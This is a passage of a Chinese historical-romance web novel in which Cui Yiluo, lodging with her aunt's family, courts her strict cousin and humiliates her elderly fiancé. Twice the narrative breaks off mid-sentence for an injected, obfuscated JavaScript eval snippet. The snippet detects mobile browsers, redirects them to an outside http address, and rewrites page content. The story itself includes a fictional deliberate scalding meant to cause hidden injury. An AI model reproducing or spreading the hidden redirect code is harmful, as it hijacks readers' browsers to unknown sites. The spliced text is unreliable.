崔宜萝突然唤住他:“表哥。” 江昀谨以眼神询问。 崔宜萝心事重重看了眼旁边的人,“可否屏退左右?” 怕他不答应,她当着众人的面认真道:“我有心里话想和表哥说。” 江昀谨目光锋锐转来,仿佛能穿透人心。 周围人眼观鼻鼻观心,皆低着头不语,空气像是被凝住,静得仿佛能听见心跳声。 崔宜萝眼带恳求,贝齿反反复复咬磨着柔软唇瓣,一片水光潋滟,看上去紧张极了。 不知过了多久,江昀谨终于开了口。 “都退下。” 几人迅速地退离到几丈远外。 江昀谨淡淡扫来视线,示意崔宜萝可以说了。 崔宜萝眼睫紧张地轻颤:“表哥,你还在为昨晚的事生我的气吗?” “表妹多想了。” 他的声音冷冷,似玉石轻撞。 “表哥分明还在生我的气。” 崔宜萝情绪有些激烈,江昀谨听得眉间微皱。 “你多想了……” “对不住,表哥。” 他身量比她高上不少,她说话时只得微微仰起脸看他。自上而下的角度可以清晰看到她忽然委屈得泛红的眼尾,漂亮的眼睛里溢起无措的水雾,似在无意地勾人心魄。 “表哥,昨夜是我鲁莽了。” 说着,崔宜萝垂下眼,语气失落:“许是昨日丢失亡母遗物,又得寻回,激动之下便忘了礼,还望表哥原谅。” 又是一片寂静。 须臾,只听他说道:“记得我昨夜说的话吗?” 崔宜萝忙应:“我记得的,表哥。” 她当然记得,他要她守着男女大防,莫要逾矩。 他目光淡淡落在她脸上,神色几分凛然,并不比先前缓和多少。 到底念着礼节,他未再计较,声色冷得毫无情绪:“日后莫再忘礼。” 崔宜萝却登时一片欣喜之色,盯着他的眼睛明媚笑道:“多谢表哥。” “大夫已着人去请了。” 江昀谨若有若无地在她脚上扫了一眼,没等她回答,转身离开了。 远处的婢女见两人说完话,迅速拥上前扶她,“表姑娘,婢子们送您回去吧。” 崔宜萝像是放下了心口的大石,连身体都松弛不少:“有劳。” 婢女们顿生好感,笑道:“这是婢子们分内之事。” 表姑娘的容貌即使是在盛京中也是数一数二的好看,众人总是难以将眼睛从她脸上挪开,可不仅容貌无可挑剔,待人接物还如此温和有礼,让她们如沐春风。 只是家世寒微了些。 婢女们默默为崔宜萝惋惜。 她们低头小心地看着脚下的路,及时将石子树枝踢去,防止崔宜萝绊到。若有一人抬头便能看到,她们眼中娇娇弱弱的表姑娘此刻目光灼灼盯着男人的背影,脸上笑容不是高兴,而是对猎物的志在必得。 莫再忘礼? 他固守礼节,被她冒犯却仍让人给她请大夫,并非出自怜惜,只是因为他所坚守的君子之仪罢了。 在他眼里,君子博学于文,约之以礼。人无礼则不生,事无礼则不成,国家无礼则不宁。 可她定会叫他忘礼,废礼。 4. 玲珑心 崔宜萝回到院子里,方更衣梳洗完,下人便报说二夫人来了。 二夫人便是她的姨母,是她母亲那边唯一的亲人,令崔宜萝感到慰藉的是,高嫁的姨母并没有贵夫人的架子,每年生辰,姨母都会给她寄贺礼。 崔宜萝至今都记得七岁那年收到那套精致的红宝石头面时心中的惊艳,那是她第一次收到那样贵重精致的首饰,红宝石颗颗如血般浓郁鲜红,剔透而纹理清晰。 七岁的她一颗颗抚摸过,心想,用尽手头上所有的钱为姨母准备生辰礼的决定果真再正确不过。 她将那套头面仔细地收在了卧房里,时不时拿出来看上一眼确认它的存在。那时她还太小,院子里许多姚氏的人,若放在库房里,估计不出半个时辰便会以各种各样的理由消失不见。 好几年里,姨母寄来的生辰礼成为她唯一拿得出手的东西——直到她使计拿回了母亲名下为数不多的铺面,她手头才宽裕不少。 姨母成为她唯一可以借以摆脱崔家的人,但十七岁那年,她得知继母开始为她物色婚事时,她抱着微弱的希望,搏一把给姨母修书,希望她可以接她上京。 姨母委婉拒绝了,这也在她意料之中,姨母到底不是她的母亲。 但姚氏为她定下婚事后,姨母又出奇地接她进江府备嫁。 或许是见她可怜,但总归是真情实意地对她好。 门口走进一个高挑贵气的妇人,佩环声清脆,妇人保养细致的脸上布满担忧,眉头紧蹙,细看之下,眉眼与崔宜萝有几分相似。 她身旁跟着一个姣美女子,神色亦带着几分紧张。 崔宜萝唤道:“姨母,表姐。” 兰蕙快步走上来,里里外外仔细将崔宜萝看了一遍,确认她只脚踝受了伤后才抚着心口放下心来。 兰蕙心有余悸:“幸好你无事,怎会遇到贼匪了?差点未把我吓死。昨日收到消息时城门已闭,否则断不能留你一人在宝明寺。” 崔宜萝也是眼圈微红:“姨母,多亏了大表哥,否则宜萝也不知道还能不能见上姨母一面。” 兰蕙心疼地握着崔宜萝的手,慨叹道:“慎之确实是个知礼仁义的好孩子。” 崔宜萝垂下眼。 这时,跟在兰蕙身旁的女子插话道:“表妹没事就好,那群贼匪也真是胆大,江家的马车也敢劫!只是盛京郊外出现贼匪,也不知京兆尹……” 兰蕙厉声打断:“昭月,不可妄议朝政!” 江昭月自知说错话,悻悻住了嘴。 兰蕙又转向崔宜萝,关心道:“宜萝,你跟姨母说说昨日那群贼匪有何独特之处?此事虽由慎之派人去查,但姨母始终放心不下。” “那群人武力高深,出招狠辣又训练有素,除此之外,便没什么特别的了。” 兰蕙脸色愈沉,嘴角紧绷地垂下,沉吟几息后拍了拍崔宜萝的手,“宜萝,这段日子若无必要便别出江府了,就算出门,也一定要将护卫都带上,等会儿我将我院里的护卫再拨给你些。” 崔宜萝乖巧应下。 兰蕙又叮嘱了几句崔宜萝养脚上的事宜,才放下心转头对身旁的女儿道:“昭月,宜萝昨日受了惊,你再陪陪她。” 江昭月应了一声,又问:“那母亲你呢?” 兰蕙对着二人笑笑:“我与贵妃娘娘有约,要进宫一趟。” 姨母口中的贵妃娘娘,自就是盛宠多年,风头甚至将皇后比了下去,深得皇帝喜爱的琼贵妃了。 这位盛宠无两的贵妃与姨母似乎关系极好,常聚在一处,崔宜萝还未进京时便有所耳闻。 因与琼贵妃有约,兰蕙走时有些着急。 临走前,兰蕙神色认真:“宜萝,有姨母在,定不会让人伤了你。” 崔宜萝还未见过姨母这般郑重,似在承诺,她有些无措地反握紧兰蕙的手,“姨母……宜萝谢过姨母。” 兰蕙也微微笑了,但笑容却勉强极了。 兰蕙走后,便有下人江昀谨请的大夫来了,顺便带来了伤药。 崔宜萝料到江昀谨不可能亲自过来。 大夫看完诊,只道需静养几日,开了内服的方子。 送走了人,江昭月看着娇娇柔柔的表妹叹了口气,怜惜地说:“可怜见的,刚到盛京就碰上这种事。幸好伤势不重,想来不会耽误过几日的荷花宴。” “荷花宴?” “贵妃娘娘每岁夏日都要办上一回的,今岁你来得赶巧,母亲定会带上你赴宴的。”江昭月见崔宜萝若有所思,关心道:“怎么了,你不想去吗?” 崔宜萝笑着摇摇头:“能参加贵妃娘娘亲办的小宴,我求之不得,哪里敢有什么不愿意?” 江昭月看着她明媚的笑容,欲言又止。 “表姐?” 江昭月嘴巴张张合合,最终还是忍不住道:“这话我只敢和你私下说,你可不许说出去啊。” 江昭月让崔宜萝再三保证此事只有她们二人知晓后,才放心地将话说出口:“你刚入府的时候我便想说,你笑起来同贵妃娘娘有些相似,不过也并非是貌似,更多或许是……神似。” 崔宜萝一怔,原来这几日那些表姊妹们看着她的脸愣神是因为这个。 她旋即笑道:“听说贵妃娘娘是一等一的美人,若能同娘娘有些相似,倒是我的福气。” 江昭月不赞同:“表妹未免太自谦了些。” 说罢,又想到自己这位仙姿玉色的表妹再过两月就要嫁给那样一个人。江昭月不太喜欢程监丞,笑容也就淡了下来。 崔宜萝明白她在想什么,露出几分忧心和脆弱:“表姐,荷花宴时我同你一道可好?” 贼匪未寻到,表妹心中难免害怕,需要人陪伴。江昭月心中怜惜之情更甚,连带目光都更加同情。 “自然,即便你不说,我也是如此想的。“ 崔宜萝勾了勾唇,乖巧笑道:“那便劳烦表姐了。” 江昭月平日里总是被众人照顾操心的那个,因此十分享受被依赖的感觉,被貌美娇柔的表妹如此信任,她心中满意极了,又道:“昨日幸好大哥恰巧经过。你别看大哥平时冷冰冰的,对谁都一副不愿多说一个字的样子,但到危难关头他还是很靠得住的。” 知礼而稳重,旁人总这么称赞江昀谨。 昨日他快撑不住时,也尽力将她护在身后。 崔宜萝转了转眸子,问道:“表姐,大表哥从小就是这样的性子吗?” 江昭月道:“大哥是大房独子,从小便被我伯父伯母耳提面命,说他肩负着家族荣辱,不可有一日懈怠。自我记事起,大哥一直是卯时不到便起身温书,子时才歇下,连同窗出游都很少,可说是一日假都不曾有,便是任官后也一直保持这样的作息。不过大哥应该也习惯了吧,若换了旁人都要累出病来了,但他一年到头都不见生一次病。” “我幼时不知事,还在白日里去寻大哥陪我玩,结果一回头就碰上我伯父那张严肃的脸,可给我吓死了,我回来后还做了好几天的噩梦,梦见大伯拿着书和教尺追我!”江昭月摸着心口打了个寒战:“险些将我吓出病来,后来我就再也不敢去大哥院子里了。” 江昀谨竟是在这样严厉礼教中管束长大。 “那难怪大表哥从小便知事守礼了,但他就从未叛逆过么?” 江昭月下意识摇了摇头,又猛然想起什么:“倒是有一次,不过这事……我不能告诉你。” 崔宜萝忙拉她的手撒娇,但怎知一向随和的江昭月此次格外坚定,咬死了不肯吐露一句。 “表妹,此事江家上下皆不准提,我若告诉你,被父亲祖母他们知道,一定会罚我跪祠堂的!” 江昭月话语郑重,崔宜萝只好暂时放弃从她口中撬出此事的打算。 “不过,为何大表哥到现在都未娶亲,连定亲的苗头都没有?” 本朝男子大多于十八之后成婚,就算成婚晚一些,大多也都已定下婚事。江昀谨身居高位,又肩负家族兴旺,婚事自然是慎之又慎,但他如今已二十又一,还未有定亲的苗头,便有些奇怪了。 江昭月答道:“大哥守完父母孝就已经十九了,祖母在大哥出孝后便着急张罗。一开始京中倒是有不少世家贵女有意,不过大哥自个没有娶亲的念头,整日只忙于朝政,那些相看宴一次都未去过,那些姑娘们皆出身高门,又不是没有别的选择,见大哥性子如此冷淡,久而久之自然另觅良缘了。再加上祖母挑剔严苛,又担心若大哥对她选的妻子不喜,只会扰得家宅不宁,见大哥在朝中地位日益稳固,也就随他去了。这不?就拖到现在了。” 崔宜萝若有所思地点点头。 江昭月迟缓地咂出几分不对劲,观察起崔宜萝的神色:“怎的问起这些来,莫不是……” 崔宜萝一眨不眨眼地看着她。 江昭月看着崔宜萝清澈的眼睛,又觉得自己多想了,表妹单纯温婉,怎会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362316|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对大哥有那种心思呢? 江昭月登时为自己误会了表妹感到愧疚,为了弥补,主动提出要带崔宜萝去选几样首饰在荷花宴上戴,并不顾崔宜萝再三推却将此事定了下来。 二人交谈甚欢,江昭月觉得自己和婉柔乖巧的表妹很是投缘,且表妹虽在话语中有意掩盖继母苛待的事,但她却敏锐地从细枝末节中听出了端倪。 表妹命途多舛,真是可怜极了,江昭月暗暗叹一口气,好在如今到了京城,有母亲在,日子总能好过些。 直到日至中天,江昭月才意犹未尽地离开去用午膳。 江府有四房,除非节庆,各房都是分开用膳的。崔宜萝脚伤着不便去膳厅,这几日不同众人一起用膳,而是由人将饭菜送到房里。 不过崔宜萝倒是无所谓,索性用膳也见不着江昀谨。 大房只剩下江昀谨一人,他一向独自用膳。不过他公务繁忙,回府时辰不定,独自用膳倒还方便不少。 崔宜萝又想起方才江昭月说的江昀谨曾做出过不守礼法之事,这倒出乎她的意料,而且江昭月死活不肯说,说明这件事出格到若为外人所知,或许会毁了江昀谨甚至是江家的清名,她要套出这件事难度不小。 但江昀谨究竟做了什么,竟严重到这种程度? 与此同时的另一侧,周身气息清贵疏离的男人正坐在枝叶繁盛的树下,日光透过细碎缝隙在男人英挺的鼻梁上洒下斑驳光影。修长的手指缓缓捏起茶杯,薄唇轻抿了口茶,身后的寒山被云雾环绕,烟岚云岫,男人清冷的神色似与之相融。 “按你这么说,应当真是他们下的手。”坐在他对面的另一个男人开口,气质贵气又温和沉稳,分明瞧上去只有二十出头的年纪,但举止却分外的成熟稳重。 他冷笑了一声:“看来你这表妹对他们威胁不小啊。” 江昀谨将茶杯放下,“殿下预计如何?” 萧靖未答他的问题,反倒面露惋惜:“你这表妹倒也不易,被继母安排嫁与能做她祖父的人,从宁州千里而来备嫁,又……” 江昀谨一直无甚表情,听到最后时几不可察地怔了一下,“宁州?” 萧靖略有疑惑地看他几眼,“是啊,你不知道吗?是了,你怕是也不会主动关注小娘子。这崔姑娘父亲多年未升任,娶回来的续弦表面贤淑大方,暗地里却磋磨继女,又生下一子,与崔姑娘仅相差五岁。崔姑娘上有薄待的继母、不闻不问的父亲,下有自小霸道横行的幼弟。” 萧靖叹了口气,同情道:“不用想便知她这日子不好过啊。” 对面的江昀谨眼帘垂下,遮住了眼瞳,盯着瓷杯中青绿的茶水,似乎走了神。 萧靖见他除了方才突然问了句宁州后便沉默不语,猜测以他的性子不关心此事,便也没有再继续讲。 他将双手平放于石桌之上,语气郑重中带着几分请求:“慎之,她于我们有用,如今有寄住在你府上,怕是得麻烦你从中多转圜。” 江昀谨面色看不出愿意与否,平静点头应下:“臣明白。” 萧靖紧绷的身体显然松弛下来,笑道:“本宫原本还以为你不肯答应呢。” 毕竟江昀谨是出了名的性情冷淡,对女子更是不愿近身。 心头大石落下,萧靖脸上的笑容也多了几分,“快到午膳时分了,本宫在这农家小院里种了些菜,可要尝尝?” “殿下雅性,不过臣还有其他公务要处理,就不叨扰了。” 江昀谨说罢起身行礼,一举一动皆显高门世家教养出的贵公子仪范。 萧靖也未在意,随意摆摆手道:“本宫也料到你一心只有公务,罢了罢了,快去吧。” “臣告退。” 江昀谨走出农院,闻风已牵了马在一旁候着,忙上前将马缰递过。 但男人却迟迟未接,只望着远处青山失神。 他疑惑地唤了一声:“公子?” 江昀谨似方恍然回神,接过缰绳。 “走吧。” 用过午膳,正是午睡的时辰,烈日下的江府变得静谧,下人干活也不自觉放轻了声音,爱鸣的蝉也早在初夏时被粘了个干净,四周宁静。 崔宜萝却未睡,兀自在自己带来的箱囊中翻寻着,随后将一影青菊瓣纹盖罐放在了桌子上。 院里忽传来焦急的脚步声,只见荔兰面色难掩烦躁地入房,崔宜萝瞬间猜出所为何事。 “姑娘,程监丞来了。” 5. 渥云绽 “人在哪?” 荔兰有些挫败:“门卫见是姑娘的未婚夫婿登门,便将人领了进来,现下已在西边水榭等着了。” 今晨回府后她便递信回绝了程奉的邀约,怎料他竟亲自上门了,跟块狗皮膏药似的,这下姑娘是不去也不行了。 崔宜萝进净室洗净面上脂粉,又令荔兰拿出压在箱笼最底下的,继母为她做的那身暗橘色衣裳。 换好衣裳,崔宜萝道:“走吧。” 荔兰急忙拽住崔宜萝,“姑娘真要去见他?” “既然他非要见我,我一直避而不见,反惹他不甘罢休,倒不如见上一面。对了,荔兰,你去沏壶茶来。” 荔兰会意,忙去准备了。 靠近水榭时已过了一炷香,坐着等候的老叟头发灰白混杂,枯黄的脸皮布满皱纹,满脸不耐,操着浑浊气虚的声音催促:“还没来?既你家表姑娘如此怠慢,那便由你陪本监丞聊聊?” 立于苍发老叟面前的婢女闻言面色一白,无措又为难:“监丞,婢子低微,哪敢同您……” “本监丞都未说什么,你又忸怩作态什么?” 说着已伸手要去拽人—— “见过程监丞。” 程奉的手停在半空中,脸上满是被打断的尴尬和恼怒,不悦地将手收了回来,看向来人。 水榭中的婢女见崔宜萝来了,如蒙大赦,仓促行了个礼就跑走了。 程奉脸上的不悦和不耐烦在看到崔宜萝的那一刻尽数消逝,双眼发光,神色惊艳得如见神女降世。 崔宜萝将眼里的阴狠压下,淡笑道:“我昨日不慎摔伤了脚,故来迟了,想必监丞大人有大量,定不会计较这细枝末节。” 昨日遇到贼匪之事只有江家几个人知道,对外是瞒下来的。 “怎么这么不当心呀?” 程奉笑得眼睛眯成一条缝地靠近几步,劣质脂粉味与陈腐油腻味混合着扑面而来,“崔姑娘果真如崔夫人所言,有倾城之貌,依我看,为你作画的画师技艺未免太差了,连你三分美貌都未画出。” 崔宜萝不动声色地侧头后退:“监丞谬赞。” 程奉凑近微嗅,浸满色欲的眼睛微眯,表情愉悦:“崔姑娘用的是什么香?真是好闻。” 崔宜萝侧身躲开,“监丞站久了恐身体不适,不如坐下再说?” 若不是崔宜萝面上笑容无辜得寻不出错处,程奉几乎觉得她是在讽刺他年老体衰。 但她到底没接他的茬,而且他稍稍冷静后细看,面前的女子虽貌美过人,但一点脂粉都未施,素面朝天,身上的衣裳虽布料尚可,但样式老气横秋。 寻常女子见未来夫婿哪个不是盛装打扮,小意温柔,说话细声细语的?而崔宜萝不仅见面诸多推辞,今日还让他等了半天,见了面不够热情,竟连打扮都不曾,将他放眼里了吗! 方才因见到美人而压下的不悦又生了出来,程奉觉得有必要杀杀她的锐气,让她知道未来谁才是她的主子。 程奉撩袍坐下,又带起一阵难以言说的味道,崔宜萝掩了掩鼻。 “崔姑娘,我知你父亲不过宁州司户参军,七品,”他不屑地嗤笑了声:“家世是寒微了不少,不过你日后嫁给我可就是监丞夫人了,程家钱银自然比你崔家多,穿戴还是需要大气华贵些,改改你小门小户的做派。你这衣裳颜色,本监丞都不会选。” 荔兰看着他身上那件恨不得用金线绣满花纹的亮色衣袍,暗暗翻了个白眼,上次见到他也是这件袍子。 崔宜萝垂下眼:“监丞说的是,先前从未见过监丞,猜错监丞喜好,是我的不是。” 程奉往嘴里送茶的手一顿,他为官数十年,虽官位不高,但混迹多年自然能听得懂旁人话中的弯弯绕绕,这是觉得他老气,所以她才穿得老气横秋来配他! 他哼笑一声,指了指崔宜萝身后的婢女,示意她来给自己添茶,打算润润嗓子,好好教教这不知体面的丫头。 “常言道老当益壮,本监丞虽大你几岁,但精力可更胜从前,啧,不过料想你们崔家寻不出什么金贵补品,你父亲年老体衰倒也寻常,你一直养在那偏远之地,见识少,不了解也正常。” 程奉呵呵一笑,说着就要去摸崔宜萝的手,语气意味深长:“待两月后成婚,你自然就能见识到……啊!” 一声粗砺的尖叫声伴随着桌椅挪动的刺耳声响彻水榭。 荔兰忙将茶壶放在桌上,低眉顺眼道:“监丞恕罪,婢子不是故意的。” 程奉皮肤苍老的手透出红来,他皮肤黑黄,可见被烫得不轻,他颤抖着甩掉手上的茶渣,脸色痛苦地想将手往下挪去。 只见他裆部的衣裳也湿了大片,直顺着裤腿流下。 但此处四面开放,无一处遮挡,他为着面子只得忍着那处火辣辣的痛苦,疼得浑身发颤,整张脸皱在一处,脸上如老树纹路的皱纹皱得更深了。 “你……你……”程奉又气又痛,手指颤颤指着荔兰,疼得好一会没说出来话。 崔宜萝上前,脸上染着些担忧:“真是对不住,我这婢子胆子小,初次见监丞难免紧张,回头我会教导她的。监丞快快将湿衣换下吧,若是病了可就不好了。” 程奉憋红了脸冷笑一声,忍痛道:“小门小户教导不好下人也正常,此等贱婢日后入了程府,若行事粗笨丢的可是我的脸面。既如此,本监丞素来大度,不介意帮你教导,人我就带回去了。” 程奉折磨人的手段,崔宜萝自然早就打听到。 她眼神冷下来,挡在荔兰面前,又扬起体面的笑:“监丞日理万机,此等小事何须劳动您呢?更何况,监丞从江令公府上带一婢女离开,传出去难免叫人误会。监丞莫怪罪,宜萝只是为了表哥和您的清誉着想。” 程奉气得脸都要挂不住了,就算江昀谨真送人给他又如何?这崔宜萝不过是暂住江府,就以为能改变出身低贱的事实?竟敢搬出江昀谨和江家压他?江昀谨不过初生牛犊,她还真将他当作猛虎不成? 他一时气急,也不顾尚在江家,“江昀谨虽任中书令,但到底年轻,若按辈分算……” 崔宜萝微微扬眉。 只听水榭外的婢仆突然出声:“大公子安。” 程奉面色骤然一变,青青紫紫混杂一处,下意识往外一看。 “卑职……卑职见过令公。” 程奉忙对着水榭外行色匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362317|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的高大身影作揖。 江昀谨身着紫色圆领官袍,腰扣蹀躞玉带,更衬肤色冷白,眉眼锐利。他私下里一向穿得素淡,崔宜萝还是第一次看到他穿官服的模样,清冷添上贵气,像是冰凉又色泽浓烈的紫玉,显得更加疏离难近。 江昀谨被程奉叫住,眼底无波,神色依旧淡淡,让人难以猜出他究竟听没听到刚才的对话。 他轻轻“嗯”了一声以作回应,提步便走,看上去并不打算和程奉寒暄。 若在往日,程奉并不会多做他想,江昀谨一贯疏离,但一想起自己方才说的话,心里登时忐忑不安。 此时此刻程奉也顾不上不识礼数的崔宜萝主仆了,直接提着被茶水脏污的袍子就追了出去。 “令公,令公……” 崔宜萝站在水榭内,没想到江昀谨竟突然回来了,还恰好撞见她和程奉碰面,她看着程奉满脸讨好地和江昀谨说话,难忍嫌弃地皱了皱眉。 江昀谨却在此时转目看来,崔宜萝立刻换上纯然温婉的笑。 程奉点头哈腰地说着话,忽见江昀谨淡淡开口,不知说了什么,程奉枯老的脸有一瞬僵住,又挂上讨好的笑。 江昀谨素来少言,程奉纵使善于奉承拍马,面对江昀谨也使不出奏效的招来,不一会儿便回了水榭。 程奉兴致本就散尽,又出了江昀谨这个插曲,这会更是不愿再待在江府里了。 “今日我就不和你的蠢笨婢女计较了,不过你记住,两月后你嫁了我,我依旧会好好管教一番你和你的婢女。过几日我会给你传信见面,你应该不会让我像这次一样等你了吧?” 崔宜萝笑容不变:“自然不敢,只是我如今寄住江家,自然要守江家的规矩,又伤了脚,若未能赴约,还望监丞见谅。不过,”崔宜萝笑容更盛:“来日方长,监丞说是么?” 程奉登时被她的笑容迷得七荤八素,美色当前,美人又同他说有来日,也是,一想到成婚后还有许多时间,不愁不能好好管教人。 他立刻将刚才的不愉快忘了个干净,哪有什么不应的? 程奉一走,崔宜萝立刻沉下脸来。 她看向荔兰,“荔兰,你可有事?” 荔兰摇摇头,心疼地握住崔宜萝的手:“我知道有姑娘在,我不会有事的。只是这程监丞比想象中还要讨厌,倒是苦了姑娘了。” 崔宜萝轻轻笑了笑:“那可未必。” 本想不理此人,如今看来,箱笼里的那些东西没白带,这不,今日便派上了用场。 烫伤?这几日他就知道那一道茶水的厉害。 皮肤溃烂生泡,那处又受了损,对于年老又好色的程奉来说,想必难受欲死,但大夫再如何瞧也不过寻常烫伤,年老之人易病难愈,也是常有的事。 荔兰心领神会,天知道倒茶水时她心中有多解气,只可惜不能痛快笑出声,表面上还要扮作无心而为。 崔宜萝正了正神色:“回去吧。” 既然江昀谨回了府,她自然没有错过的道理。 程奉这种蠢人,难怪有祖荫这么多年还只是个国子监监丞,不必她动手便自己得罪了人,她乐得看他自取灭亡,想也别想牵连到她。 6. 连翘枝 “老夫人,崔姑娘来请安了。” 江老夫人看了眼坐在下首的孙子。 男人似无所觉,眼都未抬,淡然地品着茶。 江老夫人却察觉到他今日的心不在焉,她收回视线,开口道:“请进来吧。” 不多时,一个纤瘦的身影出现在视线中,走路时弱柳扶风。 还未踏进门,崔宜萝便看到了端直坐着的男人,她知道,江昀谨即便再忙,每日回府后都会给江老夫人请安,这是他的规矩。 此刻暮光斜打在他侧脸上,勾勒高挺笔直的鼻梁,另半张脸掩在阴影下,明暗相映,五官棱角更加锐利。 他穿了件月白长袍,脱了那件色泽浓艳的紫色官袍,他更似遥遥高山白雪,让人难以靠近。 崔宜萝进了房,端着婉柔的笑行礼:“宜萝给老夫人请安。” 行礼时动作稍显凝滞,江老夫人忙命人扶着她坐下。 崔宜萝落座时,悄悄看了眼对面那人,那人依旧垂着眼帘。 从进门到现在,他都未抬过眼看她,像是她根本不存在。 上首的江老夫人唤她:“宜萝。” “是。” “既伤了脚,此事又与昀谨有关,宜萝,在伤好前便不必每日来请安了。” 江昀谨闻言立刻道:“是孙儿的过错。” 江老夫人答道:“你是江家的话事人,你的过错说到底就是我们江家的过错。既如此,宜萝,这些日子你有任何不适,尽管让人告诉老身。” 江老夫人笑得和蔼,但却在看似道歉的话中,将江昀谨的责任转移到了江家身上,切断了江昀谨和她之间的牵连干系。 崔宜萝日后再有不适,也不适合再寻江昀谨。 她听得分明,面上露出受宠若惊的神情:“老夫人,这怎么敢当呢?本就是江家宽厚,允宜萝暂住,更何况表哥救了我,脚伤不过无心之过,若宜萝再以此为由,连给老夫人请安都免了,岂不是太过任性了?” 江老夫人对她的乖顺略微满意,“宜萝,你是阿蕙的外甥女,这话太过见外了。罢了,既你有心,那便免了晚间的请安吧。” 晨昏定省,但江昀谨卯时便去上朝,江老夫人体恤他公务繁忙,便免了他早晨的那次请安。 而现在江老夫人却免了她晚间的请安,摆明是怕她和江昀谨在请安时碰上,不愿他们再多接触。 崔宜萝面上没有显露,反是感激道:“宜萝多谢老夫人体恤。” 江老夫人笑笑,转而提起旁的事:“听闻程监丞方才登门探望了?宜萝,你这夫婿很是关心你,可见年岁长些也有好处,到底心性成熟,也更懂得疼人些。” 年岁长些懂得疼人?崔宜萝面上笑容不变,内里却胃里泛酸,几欲作呕。 那程监丞也不比江老夫人小多少吧?可她却面不改色,堂而皇之地提起,无非是想敲打她。 顺便地,在江昀谨面前强调她已定亲,马上就要嫁做人妇。 但面子却是要做的,那些所谓的大户人家,最看重的就是体面,即便内里再厌恶,见了面照样和和气气。 江老夫人显然深谙此道,又转了话头聊起了家常。 全程江昀谨只缓缓喝着茶,动作平静稳当,看上去根本未在听她们的对话,更未看过崔宜萝一眼。 聊了几句后江老夫人便道:“快到用膳的时间了,宜萝,我就不再留你了。” 江老夫人请她走,却未请江昀谨走。 崔宜萝知晓她的用意,也未打算留下,行了礼便退下了。 直到这时他才轻抬眼睫,视线轻轻掠过她轻施脂粉的脸以及微妙的雪青裙裳,又迅速垂了眼,将茶杯递到唇边微抿一口。 江老夫人看在眼里,待崔宜萝走后,说道:“慎之,你刚升任,虽圣上信任你,但你更要记住谨言慎行,不可忘形。更别分了心,将心思放在正道上才是要紧。” 江昀谨忙低头应是。 江老夫人又叹了口气:“五皇子前些日子赈灾有功,怕是又要争议一番立储之事,朝中局势愈加紧张,你如今身居高位,各方势力必然想拉拢你,但我们江家历来只知忠君。祖母的这番话,你可明白?” 江昀谨低眉:“孙儿明白。” “你也莫怪祖母多嘴,你父母生前对你寄予厚望,即便后来那样也依旧……罢了,不提这些了。” 江昀谨垂着眼没作声。 提起伤心事,江老夫人兴致登时消了一大半,又见孙子今日一直心不在焉的也觉无趣,估算着崔宜萝应当回到自己院子里了,也就摆手让江昀谨走了。 江昀谨神色沉静地回院,却在接近院子的一个拐角处撞见了人。 “表哥。” 崔宜萝立在紫薇树下,些许紫薇花瓣落在她瘦削的肩上,和她雪青的衣裳相互映衬。 她发鬓间也落了几片花瓣,也不知在这等了多久。 江昀谨见是她,眼神微变:“何事?” 崔宜萝犹豫着说:“表哥,今日下午……程监丞没让你生气吧?” 她神情忐忑,原来是为程奉而来,江昀谨移开目光。 下午程奉在他跟前点头哈腰,他没仔细听,不过是溜须拍马那一套,但他自然不会因此事影响公务。 他不是公报私仇之人。 “我并未计较此事。” 崔宜萝立马说:“表哥误会了!” 她反应过于激烈,江昀谨下意识疑惑看去,径直对上了她的目光。 微凉月色下,她的眼睛滢濴微亮,目光直白又真诚。 “表哥,我不是为他辩白而来。我只是不希望你不高兴。” 四周气息乍然变得微妙。 江昀谨怔了一下,随后蹙紧眉,崔宜萝似一时激动说错了话,捏着帕子的姿态无措,两个人一时间都未开口说话。 最后还是江昀谨先开口,“不必。” 她不必担心他,他也不需要任何人的关心。 崔宜萝失落地点头:“是宜萝逾矩了。” 江昀谨语气有几分果决:“事既已了,我便先走了。” “表哥——” 崔宜萝连忙上前拦他,倏地身子一软向男人身上倒去。 细瘦的身影登时被高大的男人完全笼在阴暗下。 “放开!” 呼呼凌乱的风声吹来男人低哑的声音,崔宜萝像还未回过神一般,懵然地看着自己紧紧抓着男人胳膊的手,紧到将熨烫得一丝皱褶都无的衣袖拉出凌乱的痕迹,掌心下的肌肉硬实,青筋突突跳动。 她抬起头,眼尾敛着红晕,和他对视的一瞬间像是被吓到,手突然收紧力道,一下把他的胳膊握得更紧。 江昀谨眸色变深,不自在地抬手挣了挣。 崔宜萝忙放开了手,像做错事的孩子般咬着唇瓣: “表哥,我脚疼。” 江昀谨正沉着脸理被她弄皱的衣袖,闻言动作微顿。 “未用药?” 他伤了她的脚,自然不好和她再计较她方才险些摔在他怀里一事。崔宜萝压着嘴角,维持愧疚又委屈的神情:“用了,许是我今日找从家中带来的银丹草时站了太久。” “药若用完,便同闻风说一声。” 崔宜萝应了一声,“表哥,我专门找出来银丹草,是想给你。” 她从袖中拿出那个影青菊瓣纹盖罐,衣袖顺着动作微微滑下,露出一截雪白皓腕。 江昀谨想也没想便拒绝了:“不用,收回去吧。” 崔宜萝拿出预备好的说辞:“表哥不必担心,一罐银丹草罢了,算不上什么稀罕物什。表哥日夜忙于公务,难免眼酸疲乏,书上说银丹草有清利头目,除劳弊之效。我夜间看书时也常加在茶水中,用过后头目果真清明不少,表哥何不妨试试?”< 